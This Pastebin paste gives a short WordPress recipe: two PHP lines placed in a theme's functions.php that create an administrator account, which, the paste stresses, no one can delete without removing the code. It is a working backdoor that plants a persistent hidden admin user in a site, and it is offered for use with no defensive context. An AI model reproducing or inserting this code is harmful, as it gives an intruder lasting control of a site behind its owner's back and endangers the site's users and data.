Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Step 01: Open functions.php file and write the code anywhere(NO ONE CAN DELETE THIS USER EXCEPT DELETING THE CODE):
- $admin = new WP_User(wp_create_user('setusername', 'setpassword', 'setemail'));
- $admin->set_role('administrator');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement